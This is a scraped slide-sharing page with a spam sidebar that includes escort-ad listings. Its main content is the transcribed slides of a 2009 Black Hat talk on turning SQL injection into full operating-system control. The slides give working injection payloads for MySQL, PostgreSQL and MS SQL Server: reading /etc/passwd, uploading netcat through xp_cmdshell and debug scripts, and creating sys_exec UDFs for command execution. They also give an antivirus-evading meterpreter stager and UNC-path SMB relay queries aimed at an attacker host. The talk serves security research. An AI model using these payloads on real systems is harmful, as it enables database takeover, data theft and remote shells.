The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessPixlogix Infotech
 

Kürzlich hochgeladen (20)

08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 

Advanced SQL injection to operating system full control (slides)

  • 1. Advanced SQL injection to operating system full control Bernardo Damele Assumpção Guimarães Black Hat Briefings Europe Amsterdam (NL) – April 16, 2009
  • 2. Who I am Bernardo Damele Assumpção Guimarães: • Proud father • IT security engineer • sqlmap lead developer • MySQL UDF repository developer 2
  • 3. SQL injection definition • SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL statements • It is a common threat in web applications that lack of proper sanitization on user- supplied input used in SQL queries 3
  • 4. SQL injection techniques • Boolean based blind SQL injection: par=1 AND ORD(MID((SQL query), Nth char, 1)) > Bisection num-- • UNION query (inband) SQL injection: par=1 UNION ALL SELECT query-- • Batched queries SQL injection: par=1; SQL query;-- 4
  • 5. How far can an attacker go by exploiting a SQL injection? 5
  • 6. Scope of the analysis • Three database software: – MySQL on Windows – PostgreSQL on Windows and Linux – Microsoft SQL Server on Windows • Three web application languages: – ASP on Microsoft IIS, Windows – ASP.NET on Microsoft IIS, Windows – PHP on Apache and Microsoft IIS 6
  • 7. Batched queries • In SQL, batched queries are multiple SQL statements, separated by a semicolon, and passed to the database • Example: SELECT col FROM table1 WHERE id=1; DROP table2; 7
  • 8. Batched queries support Programming languages and their DBMS connectors default support for batched queries 8
  • 9. File system read access 9
  • 10. File read access on MySQL • LOAD_FILE() function can be used to read either a text or a binary file • Session user must have these privileges: – FILE – CREATE TABLE for the support table 10
  • 11. File read access on MySQL Via batched queries SQL injection technique: SELECT HEX(LOAD_FILE('C:/example.exe')) INTO DUMPFILE 'C:/WINDOWS/Temp/hexkflwl'; CREATE TABLE footable(data longtext); LOAD DATA INFILE 'C:/WINDOWS/Temp/hexkflwl' INTO TABLE footable FIELDS TERMINATED BY 'MFsIgeUPsa' (data); 11
  • 12. File read access on MySQL Via any SQL injection enumeration technique: • Retrieve the length of the support table's field value • Dump the support table's field value in chunks of 1024 characters On the attacker box: • Assemble the chunks into a single string • Decode it from hex and write on a local file 12
  • 13. File read access on PostgreSQL • COPY statement can be used to read a text file – User-defined function can be used to read a binary file • Session user must be a super user to call this statement 13
  • 14. File read access on PostgreSQL Via batched queries SQL injection technique: CREATE TABLE footable(data bytea); COPY footable(data) FROM '/etc/passwd'; 14
  • 15. File read access on PostgreSQL Via any SQL injection enumeration technique: • Count the number of entries in the support table • Dump the support table's field entries base64 encoded via ENCODE() function On the attacker box: • Assemble the entries into a single string • Decode it from base64 and write on a local file 15
  • 16. File read access on MS SQL Server • BULK INSERT statement can be abused to read either a text or a binary file and save its content on a table text field • Session user must have these privileges: – INSERT – ADMINISTER BULK OPERATIONS – CREATE TABLE 16
  • 17. File read access on MS SQL Server Via batched queries SQL injection technique: CREATE TABLE footable(data text); CREATE TABLE footablehex(id INT IDENTITY(1, 1) PRIMARY KEY, data VARCHAR(4096)); BULK INSERT footable FROM 'C:/example.exe' WITH (CODEPAGE='RAW', FIELDTERMINATOR='QLKvIDMIjD', ROWTERMINATOR='dqIgILsFoi'); 17
  • 18. File read access on MS SQL Server […] WHILE (@counter <= @length) BEGIN […] SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data,@counter,1)) FROM footable)) […] SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) […] INSERT INTO footablehex(data) VALUES(@hexstr) END […] 18
  • 19. File read access on MS SQL Server Via any SQL injection enumeration technique: • Count the number of entries in the support table table2 • Dump the support table table2's varchar field entries sorted by the integer primary key On the attacker box: • Assemble the entries into a single string • Decode it from hexadecimal and write on a local file 19
  • 20. File system write access 20
  • 21. File write access on MySQL • SELECT … INTO DUMPFILE clause can be used to write files • Session user must have these privileges: – FILE – INSERT, UPDATE and CREATE TABLE for the support table 21
  • 22. File write access on MySQL On the attacker box: • Encode the local file content to its corresponding hexadecimal string • Split the hexadecimal encoded string into chunks long 1024 characters each 22
  • 23. File write access on MySQL Via batched queries SQL injection technique: CREATE TABLE footable(data longblob); INSERT INTO footable(data) VALUES (0x4d5a90…610000); UPDATE footable SET data=CONCAT(data, 0xaa270000…000000); […]; SELECT data FROM footable INTO DUMPFILE 'C:/WINDOWS/Temp/nc.exe'; 23
  • 24. File write access on PostgreSQL • Large Object’s lo_export() function can be abused to write remote files on the file system • Session user must be a super user to call this statement 24
  • 25. File write access on PostgreSQL On the attacker box: • Encode the local file content to its corresponding base64 string • Split the base64 encoded string into chunks long 1024 characters each 25
  • 26. File write access on PostgreSQL Via batched queries SQL injection technique: CREATE TABLE footable(data text); INSERT INTO footable(data) VALUES ('TVqQ…'); UPDATE footable SET data=data||'U8pp…vgDw'; […] SELECT lo_create(47); UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM footable), 'base64')) WHERE loid=47; SELECT lo_export(47, 'C:/WINDOWS/Temp/nc.exe'); 26
  • 27. File write access on MS SQL Server • Microsoft SQL Server can execute commands: xp_cmdshell() EXEC xp_cmdshell('echo … >> filepath') • Session user must have CONTROL SERVER privilege • On the attacker box: – Split the file in chunks of 64Kb – Convert each chunk to its plain text debug script format 27
  • 28. File write access on MS SQL Server Example of nc.exe: 00000000 4D 5A 90 00 03 00 00 00 00000008 04 00 00 00 FF FF 00 00 […] As a plain text debug script: n qqlbc // Create a temporary file rcx // Write the file size in f000 // the CX registry f 0100 f000 00 // Fill the segment with 0x00 e 100 4d 5a 90 00 03 […] // Write in memory all values e 114 00 00 00 00 40 […] […] w // Write the file to disk q // Quit debug.exe 28
  • 29. File write access on MS SQL Server Via batched queries SQL injection technique: • For each debug script: EXEC master..xp_cmdshell ' echo n qqlbc >> C:WINDOWSTempzdfiq.scr & echo rcx >> C:WINDOWSTempzdfiq.scr & echo f000 >> C:WINDOWSTempzdfiq.scr & echo f 0100 f000 00 >> C:WINDOWSTempzdfiq.scr & […]' 29
  • 30. File write access on MS SQL Server EXEC master..xp_cmdshell ' cd C:WINDOWSTemp & debug < C:WINDOWSTempzdfiq.scr & del /F C:WINDOWSTempzdfiq.scr & copy /B /Y netcat+qqlbc netcat' EXEC master..xp_cmdshell ' cd C:WINDOWSTemp & move /Y netcat C:/WINDOWS/Temp/nc.exe' 30
  • 32. User-Defined Function • In SQL, a user-defined function is a custom function that can be evaluated in SQL statements • UDF can be created from shared libraries that are compiled binary files – Dynamic-link library on Windows – Shared object on Linux 32
  • 33. UDF injection On the attacker box: • Compile a shared library defining two UDF: – sys_eval(cmd): executes cmd, returns stdout – sys_exec(cmd): executes cmd, returns status • The shared library can also be packed to speed up the upload via SQL injection: – Windows: UPX for the dynamic-link library – Linux: strip for the shared object 33
  • 34. UDF injection Via batched queries SQL injection technique: • Upload the shared library to the DBMS file system • Create the two UDF from the shared library • Call either of the UDF to execute commands 34
  • 35. UDF injection on MySQL UDF Repository for MySQL • lib_mysqludf_sys shared library: – Approximately 6Kb packed – Added sys_eval() to return command standard output – Compliant with MySQL 5.0+ – Works on all versions of MySQL from 4.1.0 – Compatible with both Windows or Linux 35
  • 36. UDF injection on MySQL Via batched queries SQL injection technique: • Fingerprint MySQL version • Upload the shared library to a file system path where the MySQL looks for them CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll'; CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dll'; 36
  • 37. UDF injection on PostgreSQL Ported MySQL shared library to PostgreSQL • lib_postgresqludf_sys shared library: – Approximately 6Kb packed – C-Language Functions: sys_eval() and sys_exec() – Compliant with PostgreSQL 8.2+ magic block – Works on all versions of PostgreSQL from 8.0 – Compatible with both Windows or Linux 37
  • 38. UDF injection on PostgreSQL Via batched queries SQL injection technique: • Fingerprint PostgreSQL version • Upload the shared library to any file system path where PostgreSQL has rw access CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'libudflenpx.dll', 'sys_exec' LANGUAGE C […]; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'libudflenpx.dll', 'sys_eval' LANGUAGE C […]; 38
  • 39. Command exec on MS SQL Server xp_cmdshell() stored procedure: • Session user must have sysadmin role or be specified as a proxy account • Enabled by default on MS SQL Server 2000 or re-enabled via sp_addextendedproc 39
  • 40. Command exec on MS SQL Server • Disabled by default on MS SQL Server 2005 and 2008, it can be: – Re-enabled via sp_configure – Created from scratch using shell object 40
  • 42. OOB connection definition Contrary to in-band connections (HTTP), it uses an alternative channel to return data This concept can be extended to establish a full- duplex connection between the attacker host and the database server • Over this channel the attacker can have a command prompt or a graphical access (VNC) to the DBMS server 42
  • 43. A good friend: Metasploit • Metasploit is a powerful open source exploitation framework – Post-exploitation in a SQL injection scenario • SQL injection as a stepping stone for OOB channel using Metasploit can be achieved – Requires file system access and command execution via in-band connection – already achieved 43
  • 44. OOB via payload stager On the attacker box: • Forge a stand-alone payload stager with msfpayload • Encode it with msfencode to bypass AV • Pack it with UPX to speed up the upload via SQL injection if the target OS is Windows 44
  • 45. OOB via payload stager Example of payload stager creation and encode: $ msfpayload windows/meterpreter/bind_tcp EXITFUNC=process LPORT=31486 R | msfencode -e x86/shikata_ga_nai -t exe -o stagerbvdcp.exe Payload stager compression: $ upx -9 –qq stagerbvdcp.exe The payload stager size is 9728 bytes, as a compressed executable its size is 2560 bytes 45
  • 46. OOB via payload stager On the attacker box: • Run msfcli with multi/handler exploit Via batched queries SQL injection technique: • Upload the stand-alone payload stager to the file system temporary folder of the DBMS • Execute it via sys_exec() or xp_cmdshell() 46
  • 47. SMB authentication relay attack • Initially researched by Dominique Brezinski back in 1996, presented at Black Hat USA in 1997 • Patched by Microsoft on November 11, 2008 – MS08-068 – It prevents the relaying of challenge keys back to the same host which issued them 47
  • 48. SMB relay via SQL injection • Metasploit has an exploit for this vulnerability – Launch the exploit on the attacker box and wait for incoming SMB connections • The database server must try to authenticate to the SMB exploit – UNC path request can be abused 48
  • 49. SMB relay via SQL injection • MySQL – runs as Local System, no challenge-response password hashes sent: SELECT LOAD_FILE('attackerfoo.txt') • PostgreSQL – runs as postgres user, unprivileged: CREATE TABLE table(col text); COPY table(col) FROM 'attackerfoo.txt' 49
  • 50. SMB relay via SQL injection • Microsoft SQL Server: EXEC master..xp_dirtree 'attackerfoo.txt' – Session user needs only EXECUTE privilege on the stored procedure – default – SQL Server 2000 runs as Administrator by default – attack is successful – SQL Server 2005 and 2008 run often as Network Service – attack is unsuccessful 50
  • 51. Stored procedure buffer overflow • Discovered by Bernhard Mueller on December 4, 2008 – sp_replwritetovarbin heap-based buffer overflow on Microsoft SQL Server 2000 SP4 and Microsoft SQL Server 2005 SP2 • Patched by Microsoft on February 10, 2009 – MS09-004 51
  • 52. Buffer overflow exploit • Session user needs only EXECUTE privilege on the stored procedure – default • Guido Landi wrote the first public stand- alone exploit for this vulnerability – I added support for multi-stage payload and integrated it in sqlmap 52
  • 53. Data Execution Prevention • DEP is a security feature that prevents code execution in memory pages not marked as executable • It can be configured to allow exceptions • Default settings allow exceptions: – Windows 2003 SP1+: OptOut – Windows 2008 SP0+: OptOut 53
  • 54. Bypass DEP • When it is set to OptOut: – Exception for sqlservr.exe in the registry • Via bat file by calling reg • Via reg file by passing it to regedit • Via master..xp_regwrite – Upload and execute a bat file which executes sc to restart the process 54
  • 56. Windows Access Token abuse • OS user privilege escalation via Windows Access Token abuse is possible also via SQL injection • If the database process’ user has access tokens, they can be abused to execute commands as another user, depending on its token handlers 56
  • 57. Meterpreter extension: incognito • Luke Jennings’ incognito extension for Meterpreter can enumerate user’s access tokens and impersonate a specific token • Privilege escalation to Administrator or Local System if the corresponding token handler is within the thread of the process where meterpreter is running 57
  • 58. Churrasco • Churrasco is a stand-alone executable to abuse Access Tokens developed by Cesar Cerrudo – Brute-forces the token handlers within the current process – Runs the provided command with the brute-forced SYSTEM token 58
  • 59. Access Token abuse via SQL injection • Network Services has access tokens – Microsoft SQL Server 2005 and 2008 • Churrasco can be uploaded to the database server file system and used in the context of the out-of-band connection attack to execute the payload stager as SYSTEM 59
  • 60. Credits • Guido Landi • Alberto Revelli • Alessandro Tanasi • Metasploit development team • More acknowledgments and references on the white paper 60
  • 62. Thanks for your attention! Bernardo Damele Assumpção Guimarães bernardo.damele@gmail.com http://bernardodamele.blogspot.com http://sqlmap.sourceforge.net 62